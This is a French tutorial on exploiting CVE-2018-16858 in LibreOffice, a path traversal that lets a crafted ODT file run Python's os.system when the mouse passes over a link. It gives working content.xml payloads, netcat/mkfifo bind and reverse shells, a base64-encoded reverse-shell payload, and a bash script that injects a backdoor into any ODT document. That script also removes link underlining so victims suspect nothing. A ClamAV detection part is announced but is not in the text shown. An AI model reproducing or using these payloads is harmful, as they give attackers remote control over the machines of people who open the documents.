
Implémentation de l'exploit CVE-2018-16858
Cette entrée montre comment utiliser une faille simple d'un programme pour ouvrir une porte dérobée dans le système utilisant ce programme.
La faille en question est définie dans le CVE-2018-16858 appartenant à la suite bureautique LibreOffice. Cette faille permet, dans un fichier spécialement conçu, d'effectuer une escalade de répertoires, permettant l'exécution de code Python. Cette exécution est liée ou se déclenche lors de l'action de l'utilisateur sur le document, et s'effectue sans qu'aucun avertissement ne soit donné à l'utilisateur pour l'exécution de macros.
Le présent document se divise en cinq parties. Dans la première, nous expliquerons la faille elle-même, comment décompresser un OpenDocument, comment modifier sa structure pour exécuter le script local souhaité, et comment recomposer le document pour son exécution et test.
Dans la deuxième partie, nous verrons comment utiliser l'exécution locale pour lancer n'importe quelle commande sur le système où le document est ouvert, et nous générerons une porte dérobée permettant l'exécution de commandes à distance.
Dans la troisième partie, nous automatiserons le processus pour générer des documents créant des portes dérobées avec communication directe ou inverse, en déterminant l'adresse IP et le port auxquels se connecter.
La quatrième partie traitera de l'intégration de la faille dans le système metasploit afin que, via msfconsole, des documents compatibles avec la méthode d'exploitation de metasploit puissent être générés. Ainsi, on pourra choisir comme code à exécuter n'importe quelle payload définie dans la suite metasploit.
La cinquième et dernière partie montrera comment intégrer dans un système antivirus le processus de détection permettant d'identifier les fichiers de type LibreOffice infectés via la procédure précédente. Le format de détection de l'antivirus ClamAV sera utilisé, permettant de mieux comprendre le processus de détection des antivirus et ainsi faciliter notre protection contre les menaces de ce type.
L'ensemble du processus sera réalisé pour des systèmes Linux basés sur Debian, mais ce qui est expliqué ici peut être extrapolé à d'autres systèmes, car il est décrit en détail. Tant la faille que les preuves de concept du CVE original ont été réalisées pour la version de LibreOffice pour Windows, on peut donc toujours se référer à cette source pour utiliser ce qui est décrit dans ce document de manière analogue pour les versions Windows.
LibreOffice (et, pour des raisons génétiques, Apache OpenOffice) a une faille dans les versions antérieures à sa dernière version (6.1.5) qui permet l'exécution de code Python situé n'importe où sur l'ordinateur sans que l'utilisateur soit averti de l'exécution d'une macro.
Pour voir la faille en question, nous pouvons générer un nouveau document dans l'éditeur de texte dans lequel nous écrirons quelque chose, nous le sélectionnerons et générerons un lien hypertexte. Pour créer un lien hypertexte dans le texte, il faut sélectionner le menu Insert et, à l'intérieur, l'option Hyperlink (on peut aussi y parvenir en sélectionnant le texte puis en utilisant la combinaison de touches Ctrl+K).
La boîte de dialogue suivante apparaîtra :

Pour définir un lien hypertexte, nous devrons insérer une URL et cliquer sur Apply. En dehors de l'option URL dans la partie inférieure de la boîte de dialogue, où on peut lire Further Settings, nous disposerons d'un bouton avec l'icône Play qui nous permettra en outre de lier des événements à certaines actions. C'est là que nous définirons que nous souhaitons exécuter un code Python comme action.
En cliquant sur ce bouton, une nouvelle boîte de dialogue s'ouvrira :

Dans celle-ci, nous pourrons sélectionner parmi trois événements de base et le script à utiliser. Comme événement, nous sélectionnerons Mouse Over Object et comme script parmi les scripts de la famille LibreOffice Macros, nous sélectionnerons Python Samples. Dans cette option, il n'existe qu'un seul script prédéfini appelé TableSample, que nous sélectionnerons.
Une fois cela fait, si nous passons la souris sur le texte que nous avons transformé en lien hypertexte, nous verrons qu'une fenêtre s'ouvre avec un document contenant un tableau. Cela signifie que nous avons associé l'événement de passage de la souris sur le lien hypertexte au script Python. Ce que nous voulons faire, c'est remplacer cette action par une autre de notre choix.
Pour cela, nous enregistrerons le document que nous avons créé et quitterons LibreOffice pour exécuter une série de commandes dans la console.
Le format de document ODT n'est rien d'autre qu'un zip contenant une série de fichiers (le format DOCX de Microsoft Office est très similaire). Par conséquent, la première chose à faire est de décompresser le fichier avec un décompresseur de fichiers zip.
Dans notre cas, nous utiliserons l'outil en ligne de commande appelé unzip, donc nous exécuterons simplement la commande suivante :
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt
Avec cela, nous verrons les fichiers réellement contenus dans un fichier de type OpenDocument. Les plus pertinents pour nous seront le fichier mimetypes, le fichier content.xml et le fichier styles.xml.
Le fichier mimetype doit être le premier à apparaître dans la liste des fichiers du zip, donc lorsque nous rempaqueterons les fichiers, nous devrons forcer avec notre empaqueteur de fichiers qu'il en soit ainsi, sinon le fichier ne sera pas interprété comme un OpenDocument.
Le fichier content.xml contient le texte du document que nous avons écrit, dans lequel nous avons du texte mélangé à certaines balises qui indiquent dans quel format le texte doit être affiché.
Par exemple, dans la ligne suivante :
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>
On peut voir un exemple d'un paragraphe de texte écrit avec un style spécifique défini par l'attribut text:style-name. Le paragraphe de texte se trouve entre la balise d'ouverture text:p et la balise de fermeture </text:p>.
Le script associé au lien hypertexte que nous avons fait peut également être vu assez simplement. Si nous cherchons dans le texte de content.xml le mot python ou le nom du script python que nous avons chargé, dans notre cas TableSample.py, on peut facilement détecter la ligne où nous devons modifier le contenu :
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
Dans cette ligne se trouve le chemin du script python qui sera chargé lorsque nous placerons la souris sur le lien hypertexte appelé TableSample.py et la fonction qui sera exécutée dans le code python, dans ce cas createTable.
Le problème inhérent à LibreOffice est que lorsqu'il lit les documents, la valeur du code python à charger n'est pas correctement nettoyée. Le programme ne nettoie pas les caractères ../ du chemin du fichier, on peut donc accéder à n'importe quel fichier du système sur lequel le document texte est ouvert. De plus, si ce fichier auquel on accède est un fichier avec du code python, nous pourrons exécuter n'importe quelle fonction définie dans ce fichier.
Comme premier test de concept, nous allons faire en sorte que lorsque l'on survole le lien hypertexte, la calculatrice s'exécute, dans notre cas le programme galculator ouvre la calculatrice. Nous devrons générer un programme python permettant d'exécuter une commande dans une fonction, comme l'attend l'exécution de LibreOffice. Pour cela, nous générerons le code suivant dans le chemin /tmp/prueba.py :
import os;
def ejecuta():
os.system("galculator");
Avec ce petit code, nous atteindrons notre objectif, il ne reste plus qu'à ajouter à la fois le fichier python /tmp/prueba.py et le nom de la fonction ejecuta dans l'appel fait dans le fichier odt. Ainsi, la ligne qui appelait le python deviendrait :
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
Comme on peut le voir, ce qui a été fait est d'ajouter un grand nombre de ../ pour s'assurer que nous remontions jusqu'à la racine de notre système de fichiers. Et à partir de là, nous ajoutons le chemin spécifique vers notre fichier python (prueba.py). Après le $, le mot ejecuta a été ajouté, qui est la fonction qui charge la calculatrice.
Une fois cela fait, nous rempaqueterons notre fichier odt en veillant à placer le fichier mimetype en premier. Si nous utilisons l'utilitaire zip, nous exécuterons simplement la commande suivante dans le répertoire où nous avons décompressé notre odt et qui contient le content.xml malveillant :
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .
Une fois cela fait, nous ouvrirons le fichier avec LibreOffice et observerons que le programme de la calculatrice s'exécute lorsque nous passons la souris sur le lien hypertexte.
Cette première étape nécessite un code python généré avec une fonction que nous pouvons exécuter sans paramètres. C'est simple à implémenter mais peut être difficile à utiliser dans un environnement crédible ou reproductible pour un test d'intrusion réel.
Depuis la version 6.1 de LibreOffice, il est possible de passer des paramètres aux fonctions python lors des appels. Cela permet une plus grande liberté de script pour ceux qui souhaitent utiliser licitement les macros de ce programme, mais cela offre également une opportunité en or à ceux qui cherchent les coins du logiciel.
Comme nous l'avons dit précédemment et en fait utilisé, pour effectuer un appel système pour exécuter n'importe quelle commande, on fait un appel à la classe os et à la fonction system. C'est celle que nous avons utilisée pour appeler la calculatrice en passant comme paramètre la chaîne galculator. Le bon côté des classes python est que nous pouvons savoir dans quel chemin elles se trouvent, et en fait ce que nous pouvons faire pour profiter du fait de pouvoir passer des paramètres aux fonctions est de chercher l'emplacement de cette classe. Avant, nous avons exécuté une fonction d'un programme python qui se trouvait dans /tmp/ et que nous avons appelé prueba.py. Eh bien, maintenant nous allons appeler directement la fonction system qui se trouve dans le programme python os.py qui est l'une des bibliothèques système. Par exemple, dans les systèmes Linux actuels, on le trouve généralement dans le chemin /usr/lib/python3.5/os.py, donc nous changerons le chemin précédent vers le code /tmp/prueba.py par ce nouveau chemin. Maintenant, la fonction ejecuta sera remplacée par la fonction system et en fait, comme nous pouvons passer des paramètres à cette fonction, nous pouvons déjà exécuter le programme galculator, ou tout autre que nous souhaitons, directement, sans avoir à générer sur la machine qui verra le document LibreOffice un fichier python à exécuter.
Là où avant nous avions cette chaîne dans le fichier content.xml :
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
Maintenant, nous aurons simplement la suivante :
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
La manière de rempaqueter le fichier en tant que document LibreOffice sera exactement la même. Le résultat sera maintenant que simplement en ouvrant le document odt, sans avoir besoin de placer un programme python dans un chemin spécifique. Cela dit, nous aurons besoin que la version sur laquelle le document est ouvert soit au moins la version 6.1 de LibreOffice.
Dès que le fichier sera ouvert et que la souris sera placée sur le lien du document, l'application de la calculatrice s'ouvrira comme dans l'exemple précédent.
Les commandes qui sont exécutées lorsque le document est ouvert le sont sur la machine locale, donc une utilité que l'on peut donner à cette exécution est l'ouverture d'une porte dérobée qui permet l'exécution de commandes à distance depuis d'autres endroits.
Pour créer une porte dérobée très simple, nous utiliserons la commande nc et réaliserons un fifo afin qu'avec le même port nous puissions envoyer des commandes à l'ordinateur et obtenir le résultat de cette exécution. Dans la première approche de la faille que nous avons utilisée pour l'exécution de la commande, nous avons dû créer un programme python. L'idée est de ne pas avoir à télécharger de code supplémentaire sur l'ordinateur à exploiter, donc des commandes système seront utilisées pour la génération de la porte dérobée.
La commande nc est une commande système qui permet d'ouvrir un port sur le système local ou de se connecter à un port d'un système distant de manière à ce que ce que vous recevez via cette connexion sorte sur la sortie standard et que ce qui est saisi via la sortie standard sorte par la connexion vers l'autre machine. Nous pouvons utiliser des pipes | pour que la sortie à l'écran d'une commande en cours d'exécution soit introduite dans une autre commande, donc si nous concaténons la commande nc avec la commande /bin/bash cela nous permettra une solution simple pour l'exécution de commandes à distance. Si nous exécutons nc ip port | /bin/bash , ce qui arrive par la connexion que la commande nc établit sera passé à la commande /bin/bash qui exécute un shell, donc toutes les commandes que nous enverrons depuis l'ordinateur auquel nous sommes connectés seront exécutées. Mais la sortie standard de ces commandes n'est pas renvoyée à la commande nc, donc la sortie ne serait pas visible. On pourrait rediriger la sortie standard de la commande /bin/bash vers une nouvelle commande nc utilisant un autre port, mais alors nous aurions besoin de deux ports pour effectuer l'envoi des commandes et la réception de la sortie des commandes, ce qui est un peu grossier.
Une solution simple est d'utiliser des fifos. La commande mkfifo génère un fichier qui permet d'écrire et de lire en même temps. Donc, nous générerons un fichier fifo que nous utiliserons comme entrée de la commande nc pour que tout ce qui est écrit dans ce fichier soit envoyé via la connexion, et il sera utilisé comme sortie pour la commande /bin/bash afin que la sortie de tout ce qui est exécuté via cette commande soit écrite dans le fichier fifo.
La séquence de commandes pour avoir un backdoor agissant comme serveur dans n'importe quel terminal Linux serait la suivante :
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p port < /tmp/lalala | /bin/bash > /tmp/lalala;
Pour se connecter à cette machine depuis n'importe quel autre ordinateur, on doit exécuter ce qui suit :
user@host:~/$ nc ip port
Où ip est l'adresse IP de la machine avec le backdoor et port la même valeur que celle indiquée lors de l'exécution de nc sur la machine où nous avons exécuté le backdoor.
Si en raison de problèmes de pare-feu sur le réseau de la machine cible, nous ne pouvons pas utiliser la machine comme serveur, nous pouvons le faire de manière inverse, de sorte que ce soit la machine qui a le backdoor qui se connecte à un serveur en notre possession. Pour cela, nous exécuterons d'abord sur notre machine la commande suivante :
user@host:~/$ nc -l -p port
Et sur la machine du backdoor, la séquence de commandes très similaire à la précédente :
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc ip port < /tmp/lalala | /bin/bash > /tmp/lalala;
L'adresse IP qui doit apparaître dans cette dernière commande est celle de notre machine. Évidemment, la machine distante doit pouvoir atteindre cette adresse IP pour pouvoir établir la connexion à partir de laquelle nous enverrons les commandes à exécuter sur le système distant.
Donc, sur l'ordinateur du backdoor et pour mettre la commande sur une seule ligne, on peut exécuter soit cette ligne :
user@host:~/$ mkfifo /tmp/lalala;nc -l -p port < /tmp/lalala | /bin/bash > /tmp/lalala;
soit cette ligne :
user@host:~/$ mkfifo /tmp/lalala;nc ip port < /tmp/lalala | /bin/bash > /tmp/lalala;
Une fois cela compris, si nous parvenons à faire en sorte que via le fichier libreoffice l'une des portes dérobées soit exécutée, nous pourrons avoir le contrôle à distance de l'ordinateur qui a ouvert le document.
Évidemment, si nous modifions le fichier python que nous avons introduit dans tmp et qu'au lieu d'exécuter la calculatrice nous exécutons le backdoor, nous aurons l'exécution automatique.
import os;
def ejecuta():
os.system("mkfifo /tmp/lalala;nc ip port < /tmp/lalala | /bin/bash > /tmp/lalala;");
Suivant cette ligne de génération de backdoors, on pourrait maintenant implémenter cela dans le document office. La manière de faire est relativement simple car il suffit simplement de remplacer la commande de la calculatrice Linux par la commande qui permet d'ouvrir la porte dérobée.
Le backdoor qui sera exécuté à la place de la commande de la calculatrice sera le suivant :
mkfifo /tmp/lalala; nc IP PORT < /tmp/lalala | /bin/bash > /tmp/lalala;
C'est un backdoor de connexion inverse, donc pour son fonctionnement et pour pouvoir obtenir un shell, on doit ouvrir un socket sur l'hôte avec l'adresse IP et le port PORT. Ces valeurs doivent être remplacées par l'IP et le port ouverts sur notre hôte.
Il y a un problème avec cette commande : LibreOffice n'autorise pas l'utilisation de certains caractères spéciaux comme < ou |, donc nous devons contourner l'utilisation de ces caractères pour notre exploit.
Probablement l'option simple est d'utiliser base64. Base64 est installé par défaut sur presque toutes les machines Linux et est un programme qui permet à la fois de coder et de décoder via cet algorithme. Donc, nous pouvons coder ce que nous souhaitons exécuter en base64, le rediriger vers un fichier qui sera ensuite décodé et exécuté.
Nous allons utiliser une méthode de réalisation du backdoor qui peut être un peu grossière, mais qui est assez transparente et compréhensible. Ensuite, avec la même idée, on peut compliquer autant que souhaité pour que tout soit plus compact. Comme ce guide est réalisé à des fins éducatives, nous conserverons des formules d'exécution plus grossières mais avec des commandes et des exécutions très simples.
Si nous exécutons dans un terminal ce qui suit, nous pourrons obtenir la version du payload en base64 :
echo "mkfifo /tmp/lalala; nc IP PORT < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64
Le résultat ressemblera à ceci :
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=
Maintenant, nous n'avons plus aucun des caractères qui pourraient poser problème dans l'exécution via l'exploit. Mais en introduisant cela dans la commande system, nous n'exécuterons rien, mais en fait nous pouvons rediriger avec un echo ce contenu vers un fichier. Ainsi, nous aurions un fichier qui, une fois décodé, peut être exécuté, donc nous générerons un fichier que nous décoderons ensuite avec la commande base64 mais avec le paramètre qui permet de décoder pour rediriger cela vers un autre fichier. Ce dernier sera alors celui que nous exécuterons. Nous allons d'abord fragmenter chaque commande en expliquant ce que nous faisons, puis les utiliser toutes dans l'appel à system de l'exploit :
Premièrement, nous générons un fichier base64 sur la machine qui ouvre le document LibreOffice dans son répertoire /tmp/ appelé lalala.base64.
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64Comme ce fichier encodé ne nous sert à rien, nous allons le décoder en redirigeant la sortie vers un fichier que nous voulons ensuite exécuter dans le même répertoire mais appelé **lalala.sh**.
base64 -d /tmp/lalala.base64 > /tmp/lalala.sh
Ce fichier n'a pas de permissions d'exécution, nous devons donc lui donner ces privilèges.
chmod 777 /tmp/lalala.sh
Ensuite, nous devons exécuter le fichier bash que nous avons généré.
/tmp/lalala.sh
Pour finalement supprimer tous les fichiers intermédiaires générés sur l'ordinateur.
rm /tmp/lalala.sh
rm /tmp/lalala.base64
Dans l'appel à la fonction system de notre exploit, ce sera l'appel de toutes ces commandes séparées par ;, de sorte qu'une commande s'exécute après l'autre, ce qui donne la commande ou payload suivante à insérer dans l'appel à system de notre contents.xml à la place de la calculatrice. Finalement, là où nous avions le contenu suivant qui permettait l'exécution de la calculatrice :
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
Nous mettrons le contenu suivant :
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&location=share" xlink:type="simple"/>
En reconditionnant le document LibreOffice, nous avons un document qui, lorsqu'on passe la souris dessus, exécutera notre backdoor.
Avant d'ouvrir le document et comme mentionné précédemment, nous devons avoir un port en écoute, et dès que le backdoor se connecte à notre hôte, nous pouvons exécuter les commandes sur le système distant où le document LibreOffice a été ouvert.
Comme prochaine étape, et comme préalable à la génération d'un module metasploit, il faut être capable d'automatiser et de généraliser le processus. Cela permet de vérifier si les modifications à apporter sont bien comprises afin de pouvoir modulariser et décrire concrètement les problèmes à résoudre pour réaliser un programme générique permettant d'infecter les documents LibreOffice avec le payload choisi. Dans cette section, nous allons réaliser un petit script qui permet d'infecter des fichiers LibreOffice avec une porte dérobée.
Le script nécessitera trois paramètres : le document office, l'adresse IP à laquelle l'ordinateur doit se connecter une fois le document Office ouvert, ainsi que le port auquel il doit se connecter. Après exécution du script, nous devons obtenir un document LibreOffice contenant le backdoor. Comme nous devons décompresser le fichier zip, nous exigeons que le répertoire dans lequel notre script s'exécute soit propre, et nous devons donc le vérifier à l'intérieur du script.
Afin que le langage ne pose pas de problème, nous utiliserons un script bash, qui peut être un peu sale, mais qui permettra d'appeler des programmes GNU qui effectueront le travail le plus lourd. Ensuite, tout ce travail automatisé par les programmes GNU devra être soit programmé manuellement, soit en utilisant des bibliothèques qui aident lors de la génération du module metasploit.
Le script commencera par exiger que le fichier à trojaniser existe, sinon nous dirons à l'utilisateur que le fichier n'existe pas :
if [ -e $1 ]; then
#ici ira le code du programme.
else
echo "The odt file does not exists!!";
fi;
Le if exécute l'action à l'intérieur lorsque la condition entre crochets est vraie. En bash, la condition -e retourne vrai si un fichier portant le nom indiqué existe. Au lieu d'un nom fixe, on a mis $1 qui correspond en bash au premier paramètre saisi par l'utilisateur sur la ligne d'exécution du script. Dans notre cas, le premier paramètre spécifie le fichier .odt à trojaniser.
On a posé comme condition que le répertoire où la commande est exécutée soit vide, c'est simplement pour nous faciliter le travail, donc nous devons le vérifier avant de continuer avec la première section du programme. Cette fois-ci, nous ferons en sorte que le script exécute la commande ls -a et nous vérifierons qu'il n'y a que deux fichiers dans le répertoire d'exécution : ceux correspondant au répertoire . et au répertoire ... Nous y parviendrons avec la section de code suivante :
I=0;
for fichero in `ls -a`; do
I=$(($I+1));
done;
if [ $I -gt 2 ]; then
echo "At least one file exists on the directory. Exiting.";
else
fi;
Dans cette section de code, on initialise la variable I à 0. Ensuite, avec une boucle for, on parcourt chaque élément de la sortie de la commande ls -a et à chaque itération la variable fichero change de valeur pour prendre le nom de chaque élément, ici le nom de chaque fichier du répertoire de travail. En bash, mettre une commande entre les guillemets spéciaux ` permet d'exécuter la commande et d'utiliser sa sortie écran pour la retourner dans une variable, ou pour l'utiliser dans des boucles comme dans notre cas. À l'intérieur de la boucle, on augmente simplement la valeur de la variable I de 1. En script bash, les variables à droite du signe égal, dont on veut obtenir une valeur, doivent toujours être précédées d'un signe dollar $. Comme on veut aussi effectuer une opération mathématique, on doit envelopper l'opération $I+1 entre $(( et ), ce qui indique à l'interpréteur bash qu'on est en mode mathématique et qu'il doit effectuer des opérations avec ce qu'il y a à l'intérieur.
Après la boucle, la variable I devrait valoir 2 si on est dans un répertoire vide, ou plus de 2 si on est dans un répertoire contenant des fichiers. Donc, avec une condition, on vérifiera si la variable vaut plus de 2 dans le but d'arrêter le programme et d'avertir l'utilisateur. On utilise à nouveau un if mais cette fois avec la comparaison "plus grand que", qui en bash s'écrit -gt (greater than). Comme on le voit dans le morceau de code, si la valeur est supérieure à 2, on notifie l'utilisateur de l'erreur ; sinon, on continue l'exécution des autres instructions.
En dernier contrôle, on vérifie que l'utilisateur a entré 3 paramètres. Cela se fait simplement en regardant si la variable $3 est vide. Cette variable spécifie que le troisième argument a été saisi, donc si elle est vide, cela signifie que la commande exécutée par l'utilisateur n'a pas 3 arguments d'entrée. On compare simplement avec le caractère vide et si c'est vide, on indique à l'utilisateur qu'il a commis une erreur en exécutant le script. Le code correspondant est encore assez simple :
if [ "" == "$3" ]; then
echo "I need an IP and a port to connect to.";
else
#on continue le programme.
fi;
Après ces vérifications, on commence l'exécution des commandes qui permettront de trojaniser le document. On commence par exécuter la commande unzip pour décompresser le fichier LibreOffice. En cas de succès, on continue ; sinon, on s'arrête.
unzip $1;
if [ $? != 0 ]; then
echo "some error has occurr!!!Exiting!!";
exit;
fi;
La première ligne de cette section décompresse simplement le fichier indiqué par l'utilisateur. Dans le conditionnel, on vérifie si l'exécution de la commande unzip a réussi en utilisant le code de sortie du programme. Ce code de sortie est renvoyé par tous les programmes exécutables en console et, par convention, toute valeur différente de 0 indique un échec. On obtient ce code d'erreur via la variable $? qui contient le code de sortie de la dernière commande exécutée.
Dans la condition, on vérifie simplement qu'il est 0 et, si ce n'est pas le cas, on notifie l'utilisateur avec un message. Après cette notification, on exécute un exit qui permet d'arrêter l'exécution du script à ce point précis pour éviter que le script continue d'exécuter les lignes suivantes.
Rappelons qu'une fois le fichier décompressé, deux choses doivent être modifiées dans le contenu du zip : le fichier content.xml où l'on introduit le trojan lui-même, et le fichier styles.xml où l'on modifie le format des hyperliens pour que l'utilisateur ouvrant le fichier ne soupçonne rien.
Le payload à introduire est celui mentionné dans la section précédente, il doit être en base64, donc nous enregistrons cette charge utile dans une variable. De plus, on renomme les fichiers à modifier afin de pouvoir les lire et les modifier en créant de nouveaux fichiers portant le nom original. Ainsi, les fichiers avec le nom original seront en réalité les fichiers modifiés :
PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;
mv content.xml content.xml.NEW;
mv styles.xml styles.xml.NEW;
La seule différence par rapport au payload original mentionné dans la section précédente est que là où étaient indiquées l'adresse IP et le port, on utilise les arguments 2 et 3 saisis par l'utilisateur. Comme on le voit, on effectue une opération similaire à celle réalisée avec le for pour compter le nombre de fichiers du répertoire, mais cette fois la sortie de la commande au lieu d'aller dans la variable du for, on la stocke dans une variable nommée PAYLOAD. On observe également le renommage des fichiers indiqués via la commande mv.
Pour modifier le contenu de content.xml, maintenant appelé content.xml.NEW, on peut utiliser la commande sed. Sed est une commande de base de la suite de commandes Unix qui permet, entre autres, la substitution de certaines expressions régulières par d'autres. La modification à apporter dans le fichier content.xml.NEW consiste à rechercher toutes les entrées qui ont la forme suivante :
<text:p text:style-name="Standard">
Ce n'est rien d'autre que la balise utilisée par LibreOffice pour définir le texte. En réalité, pour définir un texte quelconque, il suffit qu'il commence par <text:p et se termine par > pour ajouter juste avant le lien qui permet l'exécution avec le PAYLOAD généré précédemment. Cela donnera quelque chose comme :
<text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&location=share" xlink:type="simple"/></office:event-listeners>License: <text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">
Où PAYLOAD est remplacé par le code en base64 calculé avec l'adresse IP et le port choisis. De plus, après cette insertion, la balise de paragraphe de texte mentionnée précédemment doit rester intacte.
Il faut également indiquer la terminaison de la balise ajoutée, donc dans toute balise de terminaison de texte </text:p>, on doit la remplacer par </text:a></text:p>.
Pour cela, on utilisera la commande sed qui permet de modifier tout ce qui est passé en entrée standard. Le format de la commande est le suivant :
sed s/"recherche"/"remplacement"/g
Le s indique à sed que nous souhaitons effectuer une substitution. La première chaîne marquée dans l'exemple comme recherche est ce que la commande va modifier dans ce qui lui est passé en entrée standard. Dans la commande exemple, la chaîne remplacement est ce par quoi sed va remplacer ce qu'il faut rechercher. La lettre g indiquée après les deux mots permet de changer non seulement le premier mot correspondant au critère de recherche, mais tous les mots de l'entrée qui y correspondent. Ainsi, si dans la commande telle qu'écrite on lui passe la phrase suivante :
la recherche de sed permet des recherches et de les remplacer par quelque chose.
La commande sed renverra la phrase suivante :
la remplacement de sed permet des remplacements et de les remplacer par quelque chose.
De plus, sed permet les expressions régulières, donc les caractères *, ., ^, [ et ] ont des significations spéciales. De plus, dans le second paramètre de sed, celui qui définit le remplacement, si on introduit le caractère &, cela permet d'afficher le motif de recherche. Ce n'est pas le but de ce tutoriel d'entrer dans tous les détails de sed, donc on décrira simplement les commandes exécutées et leur fonction. On utilisera les pipes | qui permettent que la sortie d'une commande devienne l'entrée de la suivante.
cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;
Dans cette commande, on passe le fichier content.xml.NEW à deux exécutions consécutives de sed. Dans le premier sed, on introduit la partie du payload : on recherche la chaîne <text:p suivie d'un nombre indéterminé de caractères quelconques qui ne sont pas >. On exige aussi que le caractère avant le > ne soit pas une fin de balise. Cette expression régulière s'exprime comme suit :
<text:p [^>]*[^\/]>
Cette chaîne trouvée sera introduite dans la sortie de la commande sed, car on insère le caractère & dans la sortie suivi de la balise du lien dans laquelle on assigne également l'action de survol qui exécute le script python souhaité. C'est en grande partie une copie de la balise utilisée en insérant au milieu le PAYLOAD généré via la variable bash appelée $PAYLOAD.
Ce qui sort de cette modification est passé au second sed, qui recherchera la terminaison de la balise de texte </text:p> et dans la sortie on utilisera la même balise précédée de la terminaison de la balise du lien, de sorte que lorsqu'on trouve </text:p>, la sortie soit </text:a></text:p>.
Avec ces deux modifications, le fichier content.xml.NEW est transformé en le fichier souhaité, donc la sortie après les sed est redirigée vers le fichier de sortie content.xml.
Une fois cela fait, on n'a plus besoin du fichier temporaire content.xml.NEW, donc on le supprime avec la commande rm.
rm content.xml.NEW
Il faut également apporter une modification pour que les hyperliens générés dans le contenu n'apparaissent pas comme tels lors de l'ouverture du fichier. Il faut donc supprimer le soulignement par défaut des hyperliens. Dans le fichier appelé styles.xml, LibreOffice enregistre les styles au format xml et on peut les modifier en modifiant le texte.
Le style par défaut des hyperliens dans LibreOffice s'appelle Internet_20_link, donc la première chose à faire est de renommer le style par défaut pour l'appeler d'une manière qui empêche LibreOffice de lier le format défini avec ce style qui impose le soulignement. On ajoute simplement un 2 à la fin de tout style ainsi nommé, de sorte que ce style ne soit pas utilisé dans le document s'il est défini. Par ailleurs, on définit un nouveau style appelé exactement de cette manière mais dans lequel on spécifie qu'il n'est pas souligné. Le format xml de ce style est le suivant :
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text"><style:text-properties style:use-window-font-color="true" fo:language="zxx" fo:country="none" style:text-underline-style="none" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/></style:style>
La manière la plus simple de définir un style et de savoir comment il est codé dans le format LibreOffice est probablement de créer un nouveau style, de le définir comme souhaité, puis de sauvegarder et de décompresser le document pour l'examiner dans le fichier styles.xml. Dans ce cas, comme on peut le voir en lisant un peu les attributs de la balise, la seule chose définie dans le style est qu'il n'est pas souligné et sans couleur spéciale.
